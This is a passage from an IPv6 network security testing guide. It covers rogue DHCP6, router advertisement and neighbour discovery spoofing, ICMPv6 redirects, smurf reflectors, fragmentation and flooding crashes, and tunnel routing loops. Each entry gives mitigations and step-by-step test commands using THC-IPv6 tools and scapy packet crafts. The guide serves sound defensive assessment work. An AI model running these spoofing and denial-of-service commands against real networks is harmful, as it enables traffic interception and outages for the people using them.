to the service to be tested. Send a request that yields a response whose
size is at least the MTU. For a typical web server, requesting the home
page is enough.

{exec}
Decrease the MTU on the router so that full-size packets can no longer be
processed, e.g. ifconfig eth0 mtu 1280.

{test}
Verify that repeating the request still yields a response. If this is
broken, we typically see the 200-response from the webserver (which is a
small packet) but we never see any data from the server (as the homepage of
the webserver would yield one or more full-MTU size packets).
```

```
{post}
Reset the MTU on the test router. Note that systems cache MTU-information,
so the webserver will continue to send unnecessary small packets for a bit.
This is harmless.
```

Note
In other cases, sending large ICMP echo packets can also be used. In this scenario monitoring packets with tcpdump is useful, preferably on both sides of the connection.

3.8 Network accepts rogue DHCP6 server

Description
IPv6 supports DHCP to obtain an IPv6 address. This works very similar to IPv4 and is equally susceptible to rogue DHCP attacks. An attacker can install a rogue DHCP server on the network which will hand out IPv6 addresses to network nodes. The attacker can use this to make it impossible for nodes to obtain a valid IPv6 address. Also, it may be used to set the default gateway for a node to another system within the network to cause a man-in-the-middle attack.

Solutions
DHCP messages can be filtered at switches or routers to prevent systems from sending DHCP server messages, e.g. as part of Network Access Control (NAC), or use DHCPv6 Snooping. Detection can be implemented at intermediate systems by detecting unfamiliar IPv6 addresses used in the network.

Testing tools
`fake_dhcps6:`

```
{desc}
This tool works as a DHCP6 server, providing DHCP6 configuration to systems
that ask for it.

{pre}
Look up a valid DNS server to supply through DHCP6, so clients have full
connectivity. Similarly, choose an IP range that preferably does not clash
with existing systems.

{exec}
sudo fake_dhcps6 <interface> <network-address/prefix> <dns-server> <dhcp-
server-ip> <mac-address>
e.g.: sudo fake_dhcps6 eth0 2A00:F10:102:10C::/64 2A00:F10:102:10C::2
2A00:F10:102:10C::2 fe80::250:56ff:fec9:1

{test}
The output should show which systems connected to it. If this happens,
there is no protection in place against DHCP6 server traffic from entering
the network.

{post}
Since the systems are now configured with a working setup, there should be
no residual effect. In 30 - 60 minutes, the lease should expire and the
client will get its configuration as before.
```

3.9 Network accepts rogue Duplicate Address Detection (DAD) packets

Description
IPv6 nodes must check whether their IP address is unique on the network by using Neighbour Solicitation and Neighbour Advertisement (ICMPv6 type 135 and 136) messages. The node sends a Neighbour Solicitation (NS) packet on the local network. If no response from another host is received within a specified timeout, the IPv6 address chosen by the node is considered to be unique within its scope. By replying to any NS sent by a specific node, an attacker is able to trigger a DoS of that node as it never gets to configure a valid (unique) IP address.

Solutions
The attack can be mitigated by enforcing the use of SEND or Neighbour Discovery Protocol Inspection. Accepting DAD packets can be disabled on Linux and BSD. However this may result in duplicate addresses on the network as hosts will no longer check whether a chosen IP is unique. Theoretically, this should be no issue as the MAC addresses are supposed to be globally unique and collisions in 64 bits random numbers should be very rare. However, this might be abused by an attacker by wilfully choosing an IPv6 address that is already in use.

Testing tools
```
dos-new-ipv6:
{pre}
The dos-new-ip6 tool replies to every NS seen on the network, which makes
new devices never get to configure a valid IPv6 address.

{exec}
dos-new-ip6 <interface>
e.g.: sudo dos-new-ip6 eth0

{test}
Run the tool and add a new device to the network. The device will try to
configure an IPv6 address on the relevant interface but this will never
happen. The futile attempts can be seen by using tcpdump (on the target or
victim). ipconfig (Windows) or ifconfig (*nix) will reveal that no IPv6
address is configured.

{post}
Stopping dos-new-ip6 immediately allows the new hosts to detect an unused
valid IPv6 address and configure it.
```

References
- http://tools.ietf.org/html/draft-pashby-ipv6-detecting-spoofing-00

3.10 Network accepts rogue ICMPv6 Redirect packets

Description
ICMP6 redirects (Type 137) are used by routers to specify a better first hop router for a destination. It affects the way packets are routed. An attacker can send spoofed ICMPv6 redirect packets on the local network, this may cause the routing table of nodes to become poisoned. As a result, traffic will be redirected to a rogue node on the network.

Solutions
Disable the acceptance of ICMP Redirect on systems that are not routers.

In Linux this can be done by setting sysctl statements:
```
net.ipv4.conf.all.accept_redirects = 0
```

```
net.ipv6.conf.all.accept_redirects = 0
```

In Windows it requires changing the registry entry EnableICMPRedirect under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters to 0

Testing tools

redir6:

```
{desc}
This tool sends ICMP Redirect messages that could cause a system to change
its routing table and have it send traffic for system X through system Y.

{pre}
Look up the original router IP address, for reverting back to the original
situation afterwards.

{exec}
redir6 <interface> <target ip> <original router> <new router>
e.g.: sudo redir6 eth0 2001:DB8::335B:5EF:14 2001:DB8::335B:5EF:1
2001:DB8::335B:5EF:18

{test}
Check if a client in the network routes its traffic through the attack
device during execution of redir6. Options are tcpdump (on attack device),
traceroute (on a victim) or check routing table (on a victim).

{post}
The behaviour of victim systems after the attack has stopped needs to be
tested. Some may revert back to the original route after several minutes,
while others might keep the new route indefinitely. It is recommended to
send a new redirect packet, redirecting traffic towards the original
router.
```

3.11 Network accepts rogue Neighbour Discovery (ND) packets

Description

An attacker can poison the neighbour cache by sending forged Neighbour Advertisement (part of the Neighbour Discovery (ND) protocol). The node will then erroneously send (local) traffic to a system specified by the attacker. This vulnerability is similar to ARP spoofing in IPv4 [3].

Solutions

The vulnerability can be partially mitigated by enforcing the use of SEND [4]. That is, it can prevent the attacker from obtaining an address that is already in use by another host. The attacker will still be able to obtain an address that is previously unused. Implement Neighbour Discovery protocol snooping to filter malicious neighbour discovery messages.

Testing tools

parasite6:

```
{desc}
parasite6 is an ARP spoofing tool which redirects all local link traffic to
your own system. It answers to every NS and claims to be every system on
the LAN.

{exec}
parasite6 -lR <interface> <fake-mac>
e.g.: sudo parasite6 -lR eth0 fe80::250:56ff:fec9:1
```

```
Use the optional parameters -F fragment, -H hop-by-hop and -D large
destination header if the attack does not work (because of network security
measures).

{test}
Check if a client in the network sends its traffic through the attack
device during execution of parasite6. For instance using tcpdump (on attack
device).

{post}
If parasite6 is stopped and the network interface is disabled on the attack
device, hosts on the network should update their Cache Table automatically
in approximately a minute. As the attack device is unreachable, the
neighbour discovery cache will time out. Alternatively, the cache can be
flushed (e.g. on linux: ip -6 neigh flush dev eth0)
```

References

- http://tools.ietf.org/html/draft-pashby-ipv6-detecting-spoofing-00

3.12 Network accepts rogue Router Advertisement (RA) packets

Description

By sending forged RA packets on the local network an attacker can pretend to be the default gateway. Traffic leaving the subnet can then be intercepted and inspected by the attacker. This attack can introduce another gateway for the existing network, or introduce a new (rogue) prefix and does not have to be intentional (e.g. Hurricane Electric users at a conference network).

Solutions

Switches with 'RA Guard' functionality (RFC 6105: 'IPv6 Router Advertisement Guard') filter these packets. Common "cheap" switches usually do not support this functionality.

Testing tools

```
fake_router6:
{desc}
WARNING: THIS MAY CAUSE A DOS.
fake_router6 sends out fake router advertisements with the highest
priority, directing traffic from other clients towards the attack device
or other systems.

{pre}
Enable routing on the attack device so that the victims retain network
connectivity.

{exec}
fake_router6 <interface> <network prefix>
e.g.: sudo fake_router6 eth0 2002::1/64
or
fake_router6 <interface> <network prefix> <dns server ip> <local router ip>
e.g.: sudo fake_router6 eth0 2002::1/64 2002::2 2002::1


{test}
Check if a client in the network routes its traffic through the attack
device during execution of fake_router6. Options are tcpdump (on attack
device) or traceroute (on a victim).
```

```
{post}
If fake_router6 is stopped, a normal router advertisement should take over
when the lifetime of the fake RA ends. This is at most 9000 seconds. If the
normal RA has priority high, it will update all hosts immediately. Consider
advertising the legitimate router afterwards using the second set of
parameters in the example above.
```

References

- RFC 6105: ‘IPv6 Router Advertisement Guard’
- See also: System crashes from Router Advertisement (RA) Flooding

4 System specific vulnerabilities

4.1 DoS Reflector attack through multicast destination address (Smurf attack)

Description

RFC 2463: 'ICMPv6 for IPv6 Specification' states that no ICMP responses should be sent when the destination was a multicast address. Not all systems may implement this properly. If ICMP error messages are sent, it can be used in a reflector (smurf) attack, e.g. with ICMP echo request and reply messages.
How this may work: A malicious system generates ICMP echo request messages to a multicast address, with the source address set to a victim. All nodes will respond with a ICMP echo reply to the victim, possibly causing a DoS. This is very similar to the smurf attack on IPv4.

Solutions

Do not send an ICMP response when the destination of an IP packet is a multicast address. Drop offending packets in firewalls (ICMP messages to multicast addresses)

Testing tools

```
smurf6:
{desc}
WARNING: THIS MAY CAUSE A DOS.
This tool sends IPv6 packets with the source set to a victim system and
the destination address set to a multicast address.

{exec}
smurf6 <interface> <target-ipv6-address> <multicast-address>
e.g.: sudo smurf6 eth1 2001:db8:12:0:a00:46ff:fe51:9e47 ff02::1

{test}
The systems should not respond with an ICMP message after they received a
packet sent to a multicast address. If they do, this is not according to
standards. The easiest way to test is to use your own system as target, and
monitor for incoming echo replies using tcpdump.

scapy:
{desc}
A much more elegant method of testing for responding with ICMPv6 packets to
a multicast address, is by sending a single packet. This can be done with
scapy.

{exec}
Create the packet in scapy and send it:
rs=(IPv6(src="2001:db8:12:0:a00:46ff:fe51:9e47",
dst="ff02::1"))/ICMPv6EchoRequest()
send(rs)

{test}
If target has mis-implemented IPv6 (e.g. linux), it responds with Echo
Reply to the all nodes multicast address. Tcpdump can be used for this
(sudo tcpdump -i <interface> ip6). If something comes back, that system has
a bad IPv6 implementation. Current Linux OS'es will send data back and
should be manually reconfigured.
```

References

- RFC 2463: 'ICMPv6 for IPv6 Specification'
- https://www.thc.org/thc-ipv6/

4.2 DoS Reflector attack through multicast source address

Description

Using a multicast address as a source address in IP packets is forbidden by RFC 2463: 'ICMPv6 for IPv6 Specification'. However, not all implementations may properly drop such packets. When a response is sent, the response will be addressed to the multicast address. This can be used as an amplification for a denial of service attack. This is a vulnerability of both IPv4 and IPv6.

Solutions

Drop packets with source addresses set to multicast addresses (in end hosts as well as firewalls and IPSs).

Testing tools

rsmurf6:

```
{desc}
WARNING: THIS MAY CAUSE A DOS.
This tool sends IPv6 packets with the source address set to a multicast
address to the target.

{exec}
rsmurf6 <interface> <target-ipv6-address>
e.g.: sudo rsmurf6 eth1 2001:db8:12:0:a00:46ff:fe51:9e47
or:   sudo rsmurf6 eth1 ff02::1
The latter attacks all link-local nodes and is really more suited for
creating a DoS than for testing purposes.

{test}
The target should reply to the multicast address. By monitoring multicast
traffic, it is possible to identify responses and who sent them. These
systems are misconfigured.
```

scapy:

```
{desc}
A much more elegant method of testing for responding to packets with a
multicast address as source, is by sending a single packet. This can be
done with scapy.

{exec}
Create the packet in scapy and send it:
rs=(IPv6(src="2001:db8:12:0:a00:46ff:fe51:9e47",
dst="ff02::1"))/ICMPv6EchoRequest()
send(rs)

{test}
If target has mis-implemented IPv6 (e.g. linux), it responds with Echo
Reply to the all nodes multicast address. Tcpdump can be used for this
(sudo tcpdump -i <interface> ip6). If something comes back, that system is
misconfigured.
```

References

- RFC 2463: 'ICMPv6 for IPv6 Specification'
- https://www.thc.org/thc-ipv6/

4.3 System crashes from bad reassembly

Description

Reassembly occurs when a single (big) packet is broken up in fragments - smaller packets that contain a Fragment Header. This normally happens when a packet does not fit in the MTU. The receiving system reassembles the fragmented packets to the original full packet so it can be processed as usual.

The IPv6 specification allows packets to contain a Fragment Header without the packet being actually fragmented into multiple pieces. Such packets are typically sent by hosts that have received an ICMPv6 “Packet Too Big” error message that advertises a Next-Hop MTU smaller than 1280 bytes, the minimum MTU according to the standard. These packets, which contain the Fragment Header but are not fragmented, can crash a device or firewall/IPS. This happens when the device processes the packets as normal "fragmented traffic" (i.e., they are “reassembled” with any other queued fragments that supposedly correspond to the same original packet). By downgrading the MTU size lower than 1280 bytes, it is possible to have clients generate these packets, which subsequently can cause a DoS on filtering devices. This vulnerability is especially relevant for filtering devices that perform Deep Packet Inspection (DPI).

This attack can also lead to firewall evasion when extension headers are split over many fragments, in that case the firewall may not be able to examine all extension headers. See also “Filtering device does not support some extension headers” and “Filtering device does not handle overlapping fragments correctly”.

Furthermore, it is possible to cause a DoS when flooding a system with fragmented packets, as these need to be kept in memory until all fragments have been received.

Solutions

System must implement RFC 5722: ‘Handling of Overlapping IPv6 Fragments’ and RFC 6946: ‘Processing of IPv6 “Atomic” Fragments’.

Testing tools

```
toobig6:
{desc}
WARNING: THIS TEST MAY CRASH THE DEVICE.
This tool sends packets that make the target lower the MTU for a
connection. With a lower than minimum value it is possible to test the
resulting behaviour.

{exec}
toobig6 <interface> <victim> <destination> <mtu size>
e.g.: sudo toobig6 eth0 2001:db8:1::3 2001:db8:2::2 1200

{test}
Examine behaviour of victim system.

{post}
Since only a single connection is affected, impact should be minimal. It
would probably be a good idea to follow up with a ICMP message that sets
the MTU size to 1280 again.

ra6:
{desc}
```

```
WARNING: THIS TEST MAY CRASH THE DEVICE.
This tool sends out router advertisements. It is possible to specify the
MTU that clients should use with the -M flag. Some IPv6 stacks impose lower
limits on MTU values they honour. For example, the KAME implementation
enforces a lower limit of 1280.

{exec}
ra6 -i <attacker_nic> -d <victim_ip> -M <mtu> -t <lifetime>
e.g.: sudo ra6 -i eth0 -d 2a00:f10:103:10c::2 -M 0 -t 60
e.g.: sudo ra6 -i eth0 -d 2a00:f10:103:10c::2 -M 65000 -t 60

{test}
Depending on the limits (if any) enforced by the target IPv6 stack, this
attack may or may not have the expected (DoS) effect.

{post}
As the lifetime is set to 60 seconds (default 9000 seconds - 2.5 hours),
any adverse effects should clear up quickly.
```

scapy:

```
{pre}
WARNING: THIS TEST MAY CRASH THE DEVICE.
A tutorial for testing reassembly policy of a system via fragmentation is
available here. Atomic fragments, tiny fragments, overlapping and delayed
fragments can be used for testing the stability of the target.

{exec}
Forge and send fragmented packets to the target system with scapy.
An example with an atomic fragment can be (to be performed within scapy):

packet=IPv6(src="fed0::1", dst="fed0::63")/IPv6ExtHdrFragment(offset=0,
m=0)/ICMPv6EchoRequest(data="AABBCCDD")
send(packet)

{test}
Observe the reaction on the Device Under Test (DUT).

{post}
Depending on the implementation of the target IPv6 stack, this attack may
or may not have the expected (DoS) effect.
```

fragmentation6:

```
{desc}
WARNING: THIS TEST MAY CRASH THE DEVICE.
This tool performs a set of fragmentation attacks.

{pre}
Set up a direct network connection to the DUT.

{exec}
fragmentation6 -fp -n <number of tries> <interface> <destination>
e.g.:   for x in `seq 1 33`; do
            timeout -s KILL 60 fragmentation6 -p -f eth0 2001:db8:2::2 $x
        done

{test}
Observe the reaction on the DUT.
```

References

- Presentation on IPv6 testing tools
- RA6 manual

4.4 System crashes from packet with unlimited extension headers

Description

Extension headers are added to IPv6 packets in the form of a list. Each header points to the next header until there are no more headers; the last extension header indicates the type of the upper-layer protocol header in the payload of the packet (e.g. TCP or UDP). One could create a packet that never ends the list of headers, combining this with fragmentation. It is unsure how implementations will handle this unspecified behaviour.

Solutions

A possible solution is to set a maximum to the amount of extension headers in packets. This maximum could be enforced in the firewalls.

Testing tools

```
scapy:
{pre}
WARNING: THIS TEST MAY CRASH THE DEVICE.

{exec}
packet = IPv6(src=<<sip>>,dst=<<dip>>)
for x in range (0,100):
packet =
packet/IPv6ExtHdrDestOpt()/IPv6ExtHdrRouting()/IPv6ExtHdrHopByHop()
send(packet)

{test}
Check the reaction of the device. Is it still running? (it should have
ignored the packet)

{post}
Restart the device if crashed.

Review:
{exec}
Examine the documentation and configuration to determine the way in which
the DUT SHOULD react to packets with many headers.
```

References

- See also: System's IPv6 stack is bugged

4.5 System crashes from Router Advertisement (RA) Flooding

Description

By sending a large amount of forged RA packets on the local network an attacker can freeze or crash the system. This vulnerability affects many systems, including Windows (any version before Windows 8), Juniper Netscreen, Solaris, OS/X, FreeBSD, and Android.
The attack is carried out using normal RAs, with these ICMPv6 Options:

- MTU
- Multiple Route Information sections (17)
- Multiple Prefix Information sections (18)
- 1 Source link-layer address

Solutions

Switches with 'RA Guard' functionality filter these packets. Common “cheap” switches usually do not support this functionality. Vendor patches to some versions (e.g. Windows 7) alleviate the problem somewhat.

Testing tools

```
flood_router6:
{desc}
This tool sends a large amount of router advertisements to a system.

{pre}
Check if the target system responds to ping or any other method with which
can be determined that the system is running, to be able to verify a crash.

{exec}
sudo flood_router6 -D <destination> <interface>
e.g.: sudo flood_router6 -D 2001:dead::beef eth0

{test}
Check if the target system still responds to the ping or other verification
method.

{post}
If the target system crashed, wait for it to reboot automatically or
manually initiate a reboot.
```

References

- http://samsclass.info/ipv6/proj/RA_flood2.htm

4.6 System DoS through SEcure Neighbor Discovery(SeNd) flood

Description

SEND is proposed as a solution to spoofing attacks with neighbour discovery. It uses an RFC 3972: ‘Cryptographically Generated Addresses’ CGA that has a host identifier computed from a cryptographic one-way hash function. The host identifier is created based on the cryptographic hash of the public key of the address owner. Hence, a potential attacker cannot use any existing CGAs, but can generate its own CGA’s. Because the verification of the CGA is based on cryptographic functions, this is more CPU intensive and may lead to a possible denial of service on the verifier if many neighbour discovery packets are sent to it.

Solutions

On vulnerable systems with low CPU performance SEND may be disabled. This is basically a risk assessment of what is worse, Neighbour Discovery spoofing or DoS of the device. Neighbour discovery protocol snooping may be used to filter out unexpected Neighbour discovery messages.

Testing tools

```
sendpees6:
{desc}
WARNING: THIS TEST MAY CRASH THE DEVICE.
Sends SEND neighbour solicitation messages and forces target to verify a
lot of CGA and RSA signatures.

{exec}
```

```
sendpees6 <interface> <key_length> <prefix> <victim>
e.g.: sudo sendpees6 eth0 1024 dead:: fe80::887:4229:5f43:81c6
or:   sudo sendpees6 eth0 1024 dead:: ff02::1
        # Multicast address for a bigger scope

{test}
Check if the device has crashed or has stopped performing normally.

{post}
If necessary, reboot the DUT.
```

4.7 System's IPv6 stack is bugged

Description

IPv4 has had many years of experience in deployment and development. As such, IPv4 has stabilised quite well and programming errors in IPv4 stacks are become rarer. IPv6, on the other hand, is still relatively new to many vendors and has a large amount of new functionality. This can result in many undiscovered programming errors in a variety of implementations.

Solutions

Solutions are depended on the issue at hand. Patching is the general solution.

Testing tools

There is no complete way to test this. It is important to test for specific implementation issues that are relevant for a given Device Under Test (DUT). A good overview of test mechanisms is given in a presentation from Fernando Gont and Marc Heuse: Security Assessments of IPv6 Networks and Firewalls.

Tools that target known weaknesses:

```
WARNING: THESE MAY CRASH THE DEVICE.
exploit6: Sends crash-only exploits for a lot of known IPv6 stack bugs.
fuzz_ip6: A general fuzzer for IPv6 packets, with a lot of fuzzing options.
```

A specific example on how to test for Jumbogram support:

```
(Jumbograms) scapy:
{desc}
Scapy can be used to send a jumbogram to a server. In this test we will
create a jumbogram, and test how the server handles it.

{exec}
Jumbogram =
IPv6(dst='fe80::200:aaff:fee2:d273',src='ff02::1')/IPv6ExtHdrHopByHop(optio
ns=Jumbo(jumboplen=100000))/Raw(RandString(1400))
# If the Ethernet MTU supports it, you could try increasing the RandString
parameter. Now it sends a mini-jumbogram that still fits in an Ethernet
frame.

{test}
Check how and if the server reacts on the jumbogram. It should be
dropped/ignored, or result in an ICMP6 - Parameter problem response.
```

4.8 System's ND state table exhaustion from flooding

Description

IPv6 systems maintain a neighbour cache of matching IPv6 addresses and MAC addresses. This is similar to the ARP cache in IPv4. In IPv6, there can be more IPv6 addresses in a subnet (2^{64}) than the maximum number of entries that a state-of-the-art switch or router is capable of containing. An attacker can thus cause an overflow - too many entries - of the neighbour cache, by scanning an IPv6 prefix consisting of a very large number of hosts in a short time (see 'IPv6 NDP Table Exhaustion Attack'). This scanning can be done by e.g. sending IPv6 packets to random IPv6 destination addresses within the prefix range. Routers will then try to add neighbour cache entries for every unseen IPv6 destination address within the subnet. Since gateways see the most traffic, they are especially affected by this. Similarly, normal computer systems may respond badly when their ND state table is exhausted.

Solutions

Tweaking the neighbour cache settings might alleviate the problem (e.g. reduce the timeout after which an entry is removed). Rate limiting can be enabled on switches to filter neighbour discovery messages. As a workaround it is possible to allocate /64 prefixes per usual, yet apply a /120 prefix instead of /64 the scanning range of the attacker is limited. Note that this solution breaks SLAAC, since it uses 64-bit generated interface identifiers. For scenarios where SLAAC is not in use, this provides a viable solution, e.g. for servers or a network that uses DHCPv6 for address configuration. For normal computer systems, upgrading the operating system is probably the only option to solve reboots and crashes.

Testing tools

alive6:

```
{desc}
WARNING: THIS TEST MAY CRASH THE DEVICE.
This tool performs a scan of an IPv6 range. By scanning a /64 some network
elements may crash.

{exec}
alive6 -s <dst port to SYN to> <interface> <ipv6 IP range>
e.g.: sudo ./alive6 -s 80 eth0 2001::0-ffff:0-ffff:0-ffff:0-ffff
# note that many devices cannot cache more than 16000 addresses

{test}
Behaviour of network elements may vary:
- The device cannot learn new NDP entries.
- The device evicts valid NDP entries
- The device may use 100% CPU time, resulting in a DoS
- The device can crash / reboot

NDP caching effects can affect more interfaces on the device than the one
under attack.

{post}
Depends on the DUT, it may be necessary to perform a reboot.
```

ndpexhaust26:

```
{desc}
WARNING: THIS TEST MAY CRASH THE DEVICE.
This tool generates a flood of packets in order to fill the ND state table
of victims. It requires LAN access and the ability to spoof packets.

{pre}
The testing device should be a neighbour of the Device Under Test (DUT)

{exec}
ndpexhaust26 -rc <interface> <target-network>
e.g.: sudo ndpexhaust26 -rc eth0 2001:23A0:100A:33::/64
```

{test}
Behaviour depends on the DUT:
- The device cannot learn new NDP entries.
- The device evicts valid NDP entries
- The device may use 100% CPU time, resulting in a DoS
- The device can crash / reboot

{post}
Depends on the DUT, it may be necessary to clear the ND cache of the DUT,
e.g. : ip -6 neigh flush eth0

5 Routing vulnerabilities

5.1 DoS amplification through routing loops using tunnels

Description

IP tunnels can be used to create a routing loop which can be used in DoS amplification attacks, as a single packet is processed by a router multiple times. These attacks take advantage of inconsistencies between a tunnel's overlay IPv6 routing state and the native IPv6 routing state. A mixture of different types of tunnels can be used including ISATAP, Teredo, 6to4, 4to6. For specific security issues regarding 6to4 routers, RFC 3964: 'Security Considerations for 6to4' contains relevant information.

Solutions

Filter tunnels created by end-systems at border gateways.
According to a paper about routing loop attacks in IPv6 tunnels, the following conditions must hold before forwarding a packet:

- If the destination address is an ISATAP address, its last four octets must not be equal to an IPv4 address of one of the node's interfaces.
- If the destination address is a 6to4 address, its 3-6 octets must not be equal to an IPv4 address of one of the node's interfaces.
- If the destination address is a Teredo address, the field <obfuscated external IP> must not be equal to the 1's complement of an IPv4 address of one of the node's interfaces or to an IPv4 address which is mapped to that node by a NAT.

All these checks should be applied in every IPv6 node that might forward packets and is participating in at least one of these tunnels. This would help prevent routing loops.

Testing tools

Some of these attacks are application-specific (see referenced paper).
In a general way, you can use a custom scapy script to initiate a routed loop like this (from http://resources.infosecinstitute.com/security-vulnerabilities-ipv6-tunnels/):

```
scapy:
{desc}
Scapy is used to create a packet that loops through a tunnel. Since only 1
packet is generated, the load should be minimal.

{pre}
First establish that an IPv6 tunnel is used. We will use the following
setup:
ISATAP router A:
* IPv4 address: 11.11.11.11
* IPv6 address: 2001:db8:1f06::200:5efe:b0b:b0b
ISATAP router B:
* IPv4 address: 11.11.11.12
* IPv6 address: 2001:db8:1f07::200:5efe:b0b:b0c

{exec}
Here is the command that generates and sends the packet in Scapy:
Attack_Packet = IPv6(dst="2001:db8:1f07::200:5efe:b0b:b0b",
src="2001:db8:1f06::200:5efe:b0b:b0c")/ICMPv6EchoRequest()
Attack_Packet.hlim = 10
# or more, trial and error required, or leave this out and stress the
routers a bit extra
send(Attack_Packet)

This packet can be sent from either computer. Let us assume we are sending
it from router A. Since the prefix of the IPv6 destination address does not
```

```
belong to router A the packet is routed to the IPv6 network over the IPv6
tunnel broker interface to the tunnel broker. The tunnel broker routes the
packet to router B. Since the prefix of the IPv6 destination address is the
prefix of router B's ISATAP tunnel it will route it through its ISATAP
interface, namely over its IPv4 interface while the packet is encapsulated
with a destination address of 11.11.11.11 (this is the lower 32 bits of the
IPv6 destination address). Router A will receive the packet and decapsulate
the IPv4 header.

Since the IPv6 destination address is not that of router A it will again
route it over the IPv6 interface, i.e. the tunnel broker interface. This
loop continues until the Hop Limit field in the IPv6 header is zeroed out.
If the initial Hop Limit value is 255, then the packet will loop 85
(=256/3) times before it is dropped. This is true since the loop contains 3
IPv6 routers (ISATAP routers A and B, and the tunnel broker) each
decrements the Hop Limit by 1.

{test}
By monitoring network traffic on a router, it is possible to see the packet
being looped.
```

References

- https://www.usenix.org/legacy/event/woot09/tech/full_papers/nakibly.pdf
- http://tools.ietf.org/html/draft-ietf-v6ops-tunnel-loops-07

5.2 Routing influenced by ICMP spoofing

Description

The use of spoofed ICMPv6 messages can cause a DoS of certain hosts or prefixes. The 'redirect' message can result in routing traffic through a different (local) gateway.

In general, hosts will update their routing table with ICMP redirect messages, whereas routers will ignore them. This is regarded as an acceptable trade-off between security and network robustness.

Solutions

In short, either ignore these message or prevent them from passing through the network.
To ignore ICMP redirects in Linux, use:

```
net.ipv6.conf.all.accept_redirects = 0
```

You may as well disable sending them with:

```
net.ipv6.conf.all.send_redirects = 0
```

Testing tools

`redir6:`

```
{desc}
WARNING: THIS MAY CAUSE A DOS.
This tool redirects traffic through ICMP6 redirect spoofing.

{pre}
Investigate client and choose the traffic flow to redirect through the
attack system. Double check the mac-address of your attack system. Set up
routing if the client should not notice any adverse effects. Also find out
the current router for the client (should not be hard).

{exec}
```

```
redir6 <if> <src-ip> <dst-ip> <ori-router> <new-router> <new-router-mac>
e.g.: sudo redir6 eth0 cafe::babe cafe::d00d dabb::ad00 dead::beef
00:00:11:11:22:22
(if the mac address is invalid, this results in a DoS)

{test}
Check if traffic is affected. If own system is selected, use tcpdump to
verify traffic is indeed routed through you. If a DoS is generated it can
be harder to verify that it was successful, hence it is preferred to route
traffic through yourself.

{post}
Use the same tool to divert traffic back to the original route.
```

References

- manual
- scapy-IPv6

5.3 Switch influenced by (T)CAM exhaustion

Description

The maximum number of IP routes and MAC addresses a hardware accelerated switch or router can learn is limited by the maximum size of its CAM and TCAM.

Enabling IPv6 routing has the effect of significantly reducing the total amount of TCAM entries due to the bigger size of IPv6 addresses. The following make a switch more vulnerable to (T)CAM exhaustions:

- Automatic updating of an Access Control List (ACL),
- Accepting rogue routing packets,
- Having a link scope bigger than the addresses that fit in the (T)CAM.

TCAM exhaustion has different effects on different platforms, some platforms may continue processing packets in CPU causing high CPU utilisation. Some L3 switches start flooding traffic out on all ports. Depending on the TCAM architecture of the device the reduction of entries is often two or four fold.

Solutions

If available, enable ndpexhaustion mitigation tools on the equipment. Securing the devices to no longer accept routes from unauthenticated devices will reduce the attack vector. When TCAM capacity is (almost) reached during normal operation refactor the network addressing plan to reduce the number of routes learned and reduce VLAN size, limit ACL/QoS rules and/or disable unused features to reduce the number of required TCAM entries to alleviate the problem. If refactoring is not possible, replacement or a hardware upgrade (for example a new linecard) is the only option.

Testing tools

```
ndpexhaust26:
{desc}
WARNING: THIS MAY CAUSE A DOS.
This tool floods both source and destination addresses, thereby filling the
ND state table in the (T)CAM of a switch (the “ARP cache”)

{pre}
```

```
Determine the link local address range for the switch. Select an IP address
whose route passes through the switch – test with traceroute. Optionally
perform a bandwidth test to verify the effect on the throughput.

{exec}
ndpexhaust26 -rc <interface> <target-network>
e.g.: sudo ndpexhaust26 -rc eth0 2001:23A0:100A:33::/64

{test}
Check if traffic to the selected IP address is still properly routed
through the switch. To detect if the switch enabled 'hub mode', use tcpdump
if in the same subnet, and re-do the bandwidth test.

{post}
It may be necessary to manually reboot, or if it rebooted on its own
accord, you should wait several minutes.
```

References

- See also: System's ND state table exhaustion from flooding
- http://www.cisco.com/en/US/docs/switches/lan/catalyst3750x_3560x/software/release/12.2_53_se/configuration/guide/swsdm.html
- http://www.cisco.com/en/US/docs/switches/lan/catalyst3560/software/release/12.2_52_se/configuration/guide/swsdm.html
- http://www.cisco.com/en/US/products/hw/switches/ps5023/products_tech_note09186a00801e7bb9.shtml

5.4 ULA traffic routed to other networks

Description

IPv6 introduces a new addressing scheme, including new address classes. One of these is Unique Local Addresses (ULA); globally unique IPv6 addresses starting with FC or FD. According to RFC 4193: 'Unique Local IPv6 Unicast Addresses', these addresses are not expected to be routed onto the internet, but are to be used only within a limited (local) domain). In the case of misconfiguration, these addresses can however have farther connectivity than expected. This can cause unexpected behaviour as well as (topological) information leaks.

Solutions

Correctly filter ULAs at the border gateways or firewalls.

Testing tools

```
scapy:
{desc}
Scapy can be used to create a packet with a ULA source address. Since this
is a local address, it should never be routed outside the local network.

{pre}
Check if ULA is used - if so, use the same routing configuration.
Otherwise,  try routing ULA traffic to the default IPv6 router. Investigate
at which points IPv6 traffic can leave the local network. Set up a monitor
(tcpdump for example) on each - not necessarily all at the same time.

{exec}
Here is the command that generates and sends the packet (a ping to
facebook.com) in Scapy:
ulap=(IPv6(src="fd11::1",
```

```
        dst="2a03:2880:2110:df07:face:b00c:0:1"))/ICMPv6EchoRequest()
send(ulap)'

{test}
By monitoring network traffic behind the identified routers, it is possible
to verify that ULA traffic is routed outside the local network.
```

References

- See also: Support for deprecated / insecure IPv6 features
- RFC 4193: 'Unique Local IPv6 Unicast Addresses'
- Wikipedia article on ULA
- Recommendations of Using Unique Local Addresses

5.5 Unused network space not NULL-routed

Description

Traffic to unused space within the customer's IP range assignment may not be handled correctly. Assume a site gets a /48 prefix and uses only a few /64 prefixes out of this assignment. Traffic for unused /64's in the same /48 may be sent upstream ("default route") instead of being NULL-routed. The ISP sends the packet to the customer, the customer sends it to the ISP, creating a routing loop.

Note that if a /48 is NULL-routed, active /64 prefixes can still be used because of "longest prefix wins" routing rules. Also note that the same problem may occur on the local loop between ISP and customer.

Solutions

IOS :

```
ipv6 route 2001:db8:xxxx::/48 Null0 254
```

FreeBSD:

```
/etc/rc.conf:
ipv6_static_routes="v6_48_null"
ipv6_route_v6_48_null="-net 2001:db8:xxx::/48 -interface disc0"
```

Testing tools

```
{pre}
From design documentation, WHOIS or through traceroute6, find the address
space used by the setup. Find prefixes that are not used in the setup (for
instance, 2001:db8:xxxx:ffff::/64) If possible, find both the allocation
(typically /48 or /56) and the prefix used on the local loop from the ISP
(in the ISP world, the ISP typically allocates spaces for the local loop
towards clients).

{exec}
Use traceroute6 to investigate routing to unused prefixes in the
allocation.

{test}
See if the traceroute6 shows that packets are dropped or generate ICMP
errors; make sure you do not see a routing loop (typically between ISP and
customer).
```

```
{post}
